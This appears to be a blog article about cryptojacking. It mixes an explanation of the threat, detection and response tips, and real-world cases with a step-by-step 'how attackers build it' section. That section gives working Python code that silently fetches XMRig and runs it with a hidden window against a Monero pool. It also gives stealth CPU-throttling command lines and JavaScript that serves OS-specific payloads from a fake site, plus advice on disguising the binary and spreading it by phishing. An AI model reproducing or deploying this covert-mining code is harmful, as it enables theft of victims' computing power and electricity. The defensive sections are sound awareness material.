Understanding Cryptojacking — How Hackers Steal Your Computing Power

Have you ever thought about why hackers needs to infect malware to your computer even though there is nothing could be done, why would attackers can spread trojans or worms that they don’t have any benefits from there

You believe if there’s no private data on your computer then everything is safe — Right? if spyware affect to your system, you think there is nothing to steal Right? and if ransomware hit to your system, you can just reinstall your OS. Are you still thinking that way —

But the truth is even though there is no personal or private data from your computer there is something that is still valuable — Its the processing power.

Sometimes attackers don’t need your private data or passwords, they just needs your CPU or GPU to secretly mine the Cryptocurrency. This silent attack is called as Cryptojacking also known as Malicious Cryptomining

SO What is actually mean by Cryptojacking_?

Cryptojacking is a type of malware that help attackers to secretly access your computer to mine the cryptocurrency for themself using your system power. They just want your CPU and GPU to do the heavy lifting while they sit back and collect the profit.

The worst part the most victims never notice its happening in there system, it make system overwhelming and suddenly runs slow, gets hot for no reason or drain the laptop battery power quickly that usual.

Mainly two ways hackers can inject cryptojacking to your system

Through Malware: You unknowingly download cryptomining malware thinking that its harmless program — maybe a fake game, pirated software or even a free tool.

Source: SoK: Crypotjacking Malware — arXiv

Through Your Browser: Some website hide cryptomining scripts (javascript) that runs at the movement you open the page, by using your CPU to mine coins when you are in browsing.

Source: SoK: Crypotjacking Malware — arXiv

How Hackers Build Cryptojacking Attacks (and how they Exploit your System).

You guys ever thought about it so i will help you to understand how these hackers build these cryptojacking program and spread away

For that you want: Monero wallet (XMR) — Best for anonymity , A mining software like WebMiner or XMRig — It is lightweight, opensource

You can checkout from https://github.com/xmrig/xmrig/releases — for latest release of XMRig

This is the moment attacker start thinking like professionals.

1. First attacker create a program to detect the OS of the victim machine— Linux , Mac or Windows.

2. Then the program automatically download the XMRig according to the target OS of the victim system and save it to the random path that user does not care about.

def auto_download():
    import platform, requests, os, zipfile, tarfile

    os_name = platform.system().lower()

    if "linux" in os_name:
        url = "https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-x64.tar.gz"
        filename = "xmrig-linux.tar.gz"
        archive_type = "tar.gz"
    elif "windows" in os_name:
        url = "https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-msvc-win64.zip"
        filename = "xmrig-windows.zip"
        archive_type = "zip"
    elif "darwin" in os_name:
        url = "https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-macos-x64.tar.gz"
        filename = "xmrig-macos.tar.gz"
        archive_type = "tar.gz"
    else:
        return

    try:
        # Download silently
        with requests.get(url, stream=True) as r:
            r.raise_for_status()
            with open(filename, "wb") as f:
                for chunk in r.iter_content(chunk_size=8192):
                    f.write(chunk)

        # Extract 
        if archive_type == "zip":
            with zipfile.ZipFile(filename, 'r') as zip_ref:
                zip_ref.extractall(".")
        elif archive_type == "tar.gz":
            with tarfile.open(filename, 'r:gz') as tar_ref:
                tar_ref.extractall(".")

        # Remove archive
        os.remove(filename)

    except Exception:
        pass

if __name__ == "__main__":
    auto_download()

3. Then the program silently run XMRig mining in background.

def run_miner_hidden():
    import subprocess, os, sys
    # Hide the terminal window (Windows specific)
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    startupinfo.wShowWindow = 0  # SW_HIDE

    config = [
        'xmrig.exe',
        '--donate-level=1',
        '-o', 'pool.supportxmr.com:443',
        '-u', 'YOUR_MONERO_WALLET_ADDRESS', #Wallet_Address
        '-k', '--tls'
    ]

    try:
        process = subprocess.Popen(
            config,
            startupinfo=startupinfo,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            cwd=os.path.dirname(__file__)
        )

        return process
    except Exception as e:
        return None

if __name__ == '__main__':
    run_miner_hidden()

4. Attackers can configure the miner to use 30% to 50% of CPU while the system is actively using, then ramp it to 80% to 100% while system is idle — this make the program stealthy for the users.

#For ~50% CPU usage:
xmrig.exe --donate-level=0 -o pool.supportxmr.com:443 -u YOUR_MONERO_WALLET_ADDRESS -k --tls --max-cpu-usage=50 --cpu-priority=0 --cpu-max-threads-hint=50

#Specific thread count (adjust based on your CPU cores):
xmrig.exe --donate-level=0 -o pool.supportxmr.com:443 -u YOUR_MONERO_WALLET_ADDRESS -k --tls --threads=2 --cpu-priority=0

#With background operation:
xmrig --donate-level=0 -o pool.supportxmr.com:443 -u YOUR_MONERO_WALLET_ADDRESS -k --tls --max-cpu-usage=40 --cpu-priority=0 --background

5. Professional Attackers can evade firewalls or antivirus, hide or spoof entries in Task Manager and optimize miners for stealth — using persistence, obfuscation, and legitimate system tools. So the malicious process looks like normal.

6. Attackers hide the malicious program that they just created to the normal program (an .exe on Windows or a .deb on Linux) and rename them to something familiar, like photoshop.exe

7. Some attackers create a fake website inside that they host a tiny JavaScript script that actually find out the visitor OS and send the malicious program according to the visitor OS —for (eg: .exe for windows .deb for linux .dmg/.pkg for macOS).

function getDownloadLink() {
  // Detect OS
  const ua = navigator.userAgent || '';
  const plat = navigator.platform || '';

  const isWindows = /Win/i.test(plat) || /Windows/i.test(ua);
  const isMac = /Mac/i.test(plat) || /Macintosh/i.test(ua);
  const isLinux = /Linux/i.test(plat) || /Linux/i.test(ua);

  // Replace these URLs with the real download links you want to serve
  const links = {
    windows: 'https://example.com/downloads/update.exe',
    mac:     'https://example.com/downloads/update.tar.gz',
    linux:   'https://example.com/downloads/update.tar.gz',
  };

  if (isWindows) return { os: 'windows', url: links.windows };
  if (isMac)     return { os: 'mac',     url: links.mac };
  if (isLinux)   return { os: 'linux',   url: links.linux };
}

8. Attackers Spread the malicious program through — Phishing Emails, Malicious Sites, Pirated or modified Software and Games, Removable media and much more.

This is how attackers make cash from your PC without stealing your private data. If One Infected System = 0.001 XMR , 100 Systems = 0.100 XMR that is 300$+ — Easy money.

How to know if you are being Cryptojacked

Previously I mentioned that the malware doesn’t show a ransom note or pop up. It is hidden in your computer you might not notice is your system is hijacked But you can still find out the common signs you can watch for:

1. Performance Drops: app lags, Website fail to render properly, or simple task takes longer time than usual.
2. Consistently High CPU/GPU usage when Idle: Your computer work too harder still the system is idle.
3. Loud Noise and Overheating: The machine feels hotter than usual and you can hear the noise coming from the fan spin.
4. Battery Drain: The Battery drain quick even though you don’t do nothing especially visible on laptop and mobile phones.
5. Unfamiliar Process or Service: You can see unknown entries in Task Manager (windows) or Activity Monitor (mac).
6. Unexpected Network Traffic: Your device may start making unusual outbound connections — for example, It repeated traffic to mining pool servers like pool.supportxmr.com or other unknown domains.

If you notice one or more of these signs, There will be a good chance your system is silently mining the crypto for someone else.

What to do immediately if you spot any of these signs on your system

1. Close Suspicious Browser Tabs: If you find out any improvement after closing tabs. It could be web crypto miner.
2. Disconnect From the Network: This isolates your device and stops it from communicating with the attacker’s mining pool right away.
3. Run a Full scan with Reputable Antivirus: It help to find out the threat and quarantine or remove anything flagged.
4. Check Running Processes: Look for unknown process consuming lots of CPU. Investigate it and if you find suspicious then stop the process.
5. Reboot into Safemode: If your system is lagging or acting strange, reboot into Safe Mode and investigate. In Safe Mode, only essential system programs run, which makes it easier to spot and remove anything suspicious.
6. Change Credentials: if you think cloud instances or admin accounts were compromised — change credentials and enable MFA everywhere.
7. Investigate Startup items and Scheduled Tasks: Miners often set themselves to run automatically after a restart, so review your startup items and scheduled tasks to make sure nothing suspicious is set to launch.

Once you spot the signs act fast — The longer it run, The more power and money you lose.

Long-Term steps to keep your device Malware Free

Stopping a cryptojacking once is good — But make sure they never return. For that we want perform some additional things that keep the system safe, fast, and secure in the future

1. Keep Everything Updated: Always ensure all operating system, software, browser are up to date. Most attackers exploit old vulnerabilities from the system.
2. Use Trusted Security Software: Install the reliable antivirus tool to keep it active. It provide extra layer of secure from malicious process running on the background.
3. Think Before you Click: Avoid downloading unknown stuff from thirdparty website or running random scripts. Be careful with email attachments, untrusted website, free or pirated tools — they hide miners inside those things.
4. Enable MFA & Strong Passwords: Always ensure MFA and password where strongs in admin account and cloud access. Even someone got your password MFA will stop accessing to your system.
5. Optimize Network Security: If possible enable the firewall and block crypto mining pools domains. Your network security should be first priority for protecting the system.
6. Monitor System Performace: Get familiar with your device normal behaviour (CPU usage, temperature, startup programs). If something feels awkward you will notice faster.
7. Secure Your Cloud and Servers: For cloud systems, rotate access keys, enable MFA, and monitor resource usage. Cryptojacking often hit cloud and servers because they are always turned on and more computing power.

Build good security habits now. Attackers never find an easy way later.

Real-World Cryptojacking Examples

1. Coinhive — The Web Miner That Took Over The Internet: Coinhive was a JavaScript miner that secretly embedded in website to mine Monero using visitors’ browsers. Attackers hacked thousands of sites to inject it.
2. Smominru Botnet: A massive cryptomining botnet spreading through EternalBlue (same exploit as WannaCry). over 500,000+ infected windows machine it mines Monero and mainly target servers and enterprise network.
3. WannaMine: A worm-style cryptojacker that spreads automatically inside networks.
4. TeamTNT Cloud Attacks: A hacking group focused on cryptomining in cloud systems. Especially target AWS servers, exposed Docker engines, Kubernetes clusters the attacker Stole AWS credentials — Installed miners + allowed reinfection persistence.
5. Graboid: Graboid is a worm that exploits unsecured (i.e., exposed to the internet) Docker containers. It spreads from compromised hosts to other containers in their networks, where it hijacks the resources of its infected systems to mine Monero.

These real-world attacks prove one thing clearly: cryptojacking isn’t random or small-scale — it’s strategic, widespread, and evolving fast. From browsers and home PCs to enterprise networks, cloud servers, and container environments.

As they say, “Your CPU is the new gold mine.” Protect your gold mine before someone else starts digging — Because in the digital world, silent theft is still theft Thankyou.